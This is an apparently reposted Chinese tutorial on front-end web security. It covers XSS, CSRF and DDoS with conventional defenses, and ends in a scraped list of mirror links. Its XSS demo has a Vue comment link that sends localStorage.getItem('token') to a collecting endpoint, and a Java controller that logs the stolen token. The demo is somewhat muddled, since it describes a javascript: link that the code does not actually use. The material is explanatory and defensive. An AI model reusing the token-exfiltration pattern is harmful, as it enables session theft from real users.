当前位置: 首页 > news >正文

前端视角下的 Web 安全攻防:XSS、CSRF、DDoS 一次看懂

在 Web 应用开发中,与前端直接相关的、最常见、最核心的是安全漏洞和防御措施。

1. XSS(跨站脚本攻击)

攻击原理:

它的核心是攻击者想方设法地将恶意的JavaScript脚本,注入到我们的网页中,并让其他用户的浏览器去执行它。一旦恶意脚本被执行,攻击者就可以窃取用户的Token,或者在页面上伪造登录框骗取用户信息,甚至发起网络蠕虫攻击。

攻击场景:

XSS最危险的场景,是窃取存储在 localStorage 或 sessionStorage 里的认证凭证,比如 JWT Token。

假设我们有一个社区网站,用户可以发布带链接的评论。后端存储了用户提交的link地址,前端在渲染评论时,为了实现点击跳转,直接使用了 :href="comment.link" 来绑定这个链接地址。”

现在,一个攻击者发布了一条评论。他填写的link地址,不是一个普通的https://网址,而是一个JavaScript伪协议链接。

<script setup>import { onMounted } from 'vue'const comments = [{ id: 1, text: '这是第一条评论', link: 'https://example.com/1' },{ id: 2, text: '这是第二条评论', link: 'https://example.com/2' },{id: 3, text: '这是第三条评论', link: `http://localhost:8080/user/getToken?token=${localStorage.getItem('token')}`}]onMounted(() => {console.log(localStorage.getItem('token'));})
</script><template><ul><li v-for="comment in comments" :key="comment.id"><a :href="comment.link" target="_blank">{{ comment.text }}</a></li></ul>
</template><style scoped>ul {padding: 0;list-style: none;}li {margin-bottom: 8px;}a {color: #42b983;text-decoration: none;}a:hover {text-decoration: underline;}
</style>
@RestController
@RequestMapping("/user")
public class WxUserController {@GetMapping("getToken")public Result getToken(@RequestParam String token) {System.out.println("收到的token: " + token);return Result.success("获取token成功", token);}
}

  • 攻击者拿到用户的 token 可以为所欲为了

防范措施:

  1. 输入的时候校验,前后端都要校验,拒绝非法字符
  2. 输出时转义: 把 < 转成 &lt;> 转成 &gt;,让浏览器显示而不是执行
  3. 使用 CSP(内容安全策略):限制能执行脚本的来源,禁止内联脚本
  4. 敏感接口要校验:防止恶意脚本调用重要脚本

1.1. Token vs HttpOnly Cookie

在Web认证中,TokenHttpOnly Cookie 并非谁绝对优于谁,它们是两种不同的安全策略,各自防御的侧重点不同,也各自引入了新的风险。一个安全的系统,在于理解并正确地运用它们。

Token (存储在 localStorage)

  • 优点天生免疫 CSRF 攻击:Token 不会被浏览器在跨站请求时自动携带,因此攻击者无法利用用户的身份在自己的网站上伪造请求。
  • 致命弱点在 XSS 攻击面前极其脆弱:localStorage 对页面上的所有JavaScript代码都是可见的。一旦网站存在任何XSS漏洞,攻击者注入的脚本就可以通过 localStorage.getItem('token') 轻松窃取到用户的完整身份凭证。
  • 安全前提:选择此方案,意味着你必须对 XSS 防护有极高的要求和信心,需要做到万无一失的内容过滤和校验。

HttpOnly Cookie

  • 优点能有效抵御 XSS 窃取:HttpOnly 属性禁止了JavaScript通过 document.cookie 读取Cookie。即使网站存在XSS漏洞,攻击者也无法直接窃取到用户的身份凭证,守住了最后的安全堡垒。
  • 致命弱点天生易受 CSRF 攻击:Cookie会被浏览器在所有同站请求(包括跨站发起的同站请求)中自动携带,这是CSRF攻击能够得逞的根本原因。
  • 安全前提:选择此方案,意味着必须配合一套强大的 Anti-CSRF 策略,比如使用CSRF Token或严格的 SameSite Cookie属性。

用 localStorage 存 Token,用全部精力去防 XSS;用 HttpOnly Cookie,用全部精力去防 CSRF。

2. DDoS 攻击(分布式拒绝服务攻击)

DDoS 的全称是 Distributed Denial of Service,中文意思是“分布式拒绝服务攻击”。

简单来说,它的核心目标就一个:让你的网站或服务因为不堪重负而瘫痪,导致正常用户无法访问。

通俗点讲:

  • 正常人1秒访问1次
  • 攻击者让几万个机器疯狂访问
  • 服务器一下子撑爆,挂了

防范措施:

  1. 让防火墙、阿里云盾,腾讯云盾在边缘拦截异常流量
  2. 限流、熔断、降级机制:限制同一 IP 访问速率,超限就栏
  3. 弹性扩容: 服务器可以自动扩容,提高抗压能力
  4. CDN 加速+缓存 : 把静态资源缓存到离用户最近的节点,分散请求压力
  5. 识别并封禁攻击 IP

3. CSRF 攻击(跨站请求伪造)

CSRF(Cross-Site Request Forgery,跨站请求伪造)

👉 攻击者诱导用户在登录状态下,去访问一个恶意请求,冒充用户做事情

例子:

  • 你登录了银行网站
  • 攻击者诱导你点了一个恶意链接
  • 你的浏览器带着银行的 Cookie 发请求
  • 银行误以为是你本人操作了!

防范措施:

  1. 验证码验证:让真正用户手动操作,不被自动伪造
  2. SameSite Cookie 策略:把 Cookie 设置为 SameSite,限制跨站带 Cookie
  3. Referer/Origin 校验:后端检查请求来源是不是自己的网站
  4. 使用 CSRF Token :每次表单/请求附带一个随机生成的 token,后台验证 token 是否匹配


文章转载自:

http://5yr0kl0w.frnjm.cn
http://YqKTWKR2.frnjm.cn
http://R9BwbTkR.frnjm.cn
http://rJChxYvu.frnjm.cn
http://5HPRViKE.frnjm.cn
http://3ZmfEhg3.frnjm.cn
http://lFTbStgJ.frnjm.cn
http://eRx45luX.frnjm.cn
http://6NCLt2rK.frnjm.cn
http://vvItGCWA.frnjm.cn
http://5P7qGTul.frnjm.cn
http://W8ThYSF3.frnjm.cn
http://nFLzoT9c.frnjm.cn
http://n1jrISDm.frnjm.cn
http://Hiz9ccUD.frnjm.cn
http://FLJKLyUU.frnjm.cn
http://6UXdF6NK.frnjm.cn
http://N28RxZnT.frnjm.cn
http://0e5yNX1I.frnjm.cn
http://EFWm6sOg.frnjm.cn
http://8paQOpWz.frnjm.cn
http://4FzsY6GH.frnjm.cn
http://l1qalTmZ.frnjm.cn
http://0Eq3dpXB.frnjm.cn
http://roN5Rxjk.frnjm.cn
http://oWSDjOK5.frnjm.cn
http://z0YuMzcD.frnjm.cn
http://kLKM5nKc.frnjm.cn
http://jfBel8mz.frnjm.cn
http://9UsHmniM.frnjm.cn
http://www.dtcms.com/a/364988.html

相关文章:

  • 02、连接服务器的几种方式
  • 企业文档安全守护者全面测评:7款加密软件深度解析,让商业机密固若金汤
  • JVM分析(OOM、死锁、死循环)(JProfiler、arthas、jvm自带工具)
  • 股指期货可以通过移仓长线持有吗?
  • 基于springboot的在线答题练习系统
  • 【正则表达式】 正则表达式的元字符是什么?正则表达式的元字符有什么作用?
  • 微软rStar2-Agent:新的GRPO-RoC算法让14B模型在复杂推理时超越了前沿大模型
  • DAO LLC:怀俄明州首个承认去中心化自治组织法人化的新里程碑
  • Android Looper源码阅读
  • 手搓一个企业级Agent智能体
  • PyTorch 面试题及详细答案120题(116-120)-- 综合应用与实践
  • 英语四级学习指南
  • 《单链表学习手册:从原理到代码实现(含头插 / 尾插 / 销毁)》
  • go-mapus为局域网地图协作而生
  • 充电枪结构-常规特征设计
  • 小程序点击之数据绑定
  • 【数学建模学习笔记】相关性分析
  • Git在idea中的实战使用经验(二)
  • Elasticsearch 数字字段随机取多值查询缓慢-原理分析与优化方案
  • 408考研——单链表代码题常见套路总结
  • [光学原理与应用-375]:ZEMAX - 分析 - 物理光学图
  • Debezium报错处理系列之第130篇:OutOfMemoryError: Java heap space
  • 复杂网络环境不用愁,声网IoT多通道传输实战经验丰富
  • 数据结构---双向链表
  • 明确用户提问的核心
  • 【计算机网络】TCP状态转移
  • AI随笔番外 · 猫猫狐狐的尾巴式技术分享
  • 醋酸铕:点亮现代生活的“隐形之光“
  • Java jar 如何防止被反编译?代码写的太烂,害怕被人发现
  • 如何用java给局域网的电脑发送开机数据包